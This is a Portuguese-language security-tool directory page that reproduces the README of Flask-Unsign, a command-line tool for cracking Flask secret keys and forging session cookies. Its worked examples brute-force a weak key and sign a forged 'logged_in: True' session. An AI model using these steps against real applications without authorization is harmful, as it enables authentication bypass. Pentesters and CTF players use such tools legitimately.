Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Flask-Unsign — Ferramenta de linha de comando para buscar, decodificar, forçar por força bruta e criar cookies de sessão de uma aplicação Flask adivinhando chaves secretas. | Kitploit
Ferramentas/GitHubGitHub/paradoxis/flask-unsign
Ataques de SenhaExploração de Aplicações WebCTFTestes de Penetração
GitHubparadoxis/flask-unsign

Flask-Unsign

Ferramenta de linha de comando para buscar, decodificar, forçar por força bruta e criar cookies de sessão de uma aplicação Flask adivinhando chaves secretas.

Ver Repositório
66048há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

Flask Unsign

Build Status PyPI version codecov

Ferramenta de linha de comando para obter, decodificar, forçar por força bruta e criar cookies de sessão de uma aplicação Flask adivinhando chaves secretas. Para o componente autônomo de wordlist, visite o repositório flask-unsign-wordlist.

Requisitos

  • Python 3.6+

Instalação

Para instalar a aplicação, basta usar o pip:

root@kitploit:~
$ pip3 install flask-unsign[wordlist]

Se você quiser instalar apenas o código principal, omita o sufixo [wordlist]:

root@kitploit:~
$ pip3 install flask-unsign

Para instalar a ferramenta para fins de desenvolvimento, execute o seguinte comando (após baixar uma cópia):

root@kitploit:~
$ pip3 install -e .[test]

Uso

Para obter uma visão geral de todas as opções possíveis, basta chamar flask-unsign sem nenhum argumento, assim:

root@kitploit:~
$ flask-unsign

Obtendo e Decodificando Cookies de Sessão

Devido ao fato de que os cookies do Flask são assinados e não criptografados, é possível decodificar localmente os dados da sessão. Para isso, você pode usar o argumento --decode.

Os cookies de sessão podem ser obtidos inspecionando suas requisições HTTP usando um proxy como o Burp Proxy, usando o inspetor de rede do seu navegador ou usando uma extensão de navegador para visualizar/alterar seus cookies. Por padrão, o Flask usa o nome de sessão "session".

root@kitploit:~
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

Você também pode usar a funcionalidade automática de captura de sessão do Flask-Unsign passando o argumento --server, em vez do argumento --cookie. No entanto, observe que nem todas as páginas da web podem retornar uma sessão, portanto, certifique-se de passar uma URL que retorne.

root@kitploit:~
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

Removendo a Assinatura (Forçando Chaves Secretas por Força Bruta)

Após obter um cookie de sessão de exemplo, você poderá tentar forçar por força bruta a chave secreta do servidor. Se tiver sorte, ela pode estar definida para algo fácil de adivinhar ou, se foi encontrada online, pode estar em uma de suas wordlists. Para isso, você pode usar o argumento --unsign.

root@kitploit:~
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

Assinando (Manipulação de Sessão)

Depois de obter a chave secreta do servidor, você poderá criar seus próprios dados de sessão personalizados. Para isso, você pode usar o argumento --sign.

root@kitploit:~
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

Solução de Problemas

  • Instalar o programa resulta em um erro
    • Você pode estar usando o binário pip errado; tente usar o seguinte comando: python3.6 -m pip install flask-unsign
  • Encontrei uma chave secreta, mas minhas sessões criadas não funcionam!
    • É possível que o servidor de destino use uma versão mais antiga do itsdangerous. Devido a um problema com sessões temporizadas, o algoritmo de geração de timestamp foi alterado. Para gerar uma assinatura mais antiga, tente usar a opção --legacy.
  • Minha wordlist não funciona
    • As wordlists esperam ser strings python delimitadas por nova linha (ou seja, você precisa encapsulá-las entre aspas), isso para que strings binárias possam ser facilmente armazenadas em um formato de nova linha. Se você não quiser isso, pode desativar esse recurso passando o argumento --no-literal-eval.

Como Funciona

Se você está se perguntando como exatamente isso funciona, consulte meu post no blog, que explica isso em detalhes, incluindo um guia sobre como proteger seu próprio servidor contra esse ataque.

Licença

Licença MIT

Copyright (c) 2021 Luke Paris (Paradoxis)

É concedida permissão, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrição, incluindo, sem limitação, os direitos de usar, copiar, modificar, mesclar, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e de permitir que pessoas às quais o Software seja fornecido o façam, sujeito às seguintes condições:

O aviso de direitos autorais acima e este aviso de permissão devem ser incluídos em todas as cópias ou partes substanciais do Software.

O SOFTWARE É FORNECIDO "NO ESTADO EM QUE SE ENCONTRA", SEM QUALQUER TIPO DE GARANTIA, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIABILIDADE, ADEQUAÇÃO A UM DETERMINADO FIM E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU TITULARES DE DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER REIVINDICAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM UMA AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, FORA DE OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.

Baixar ferramenta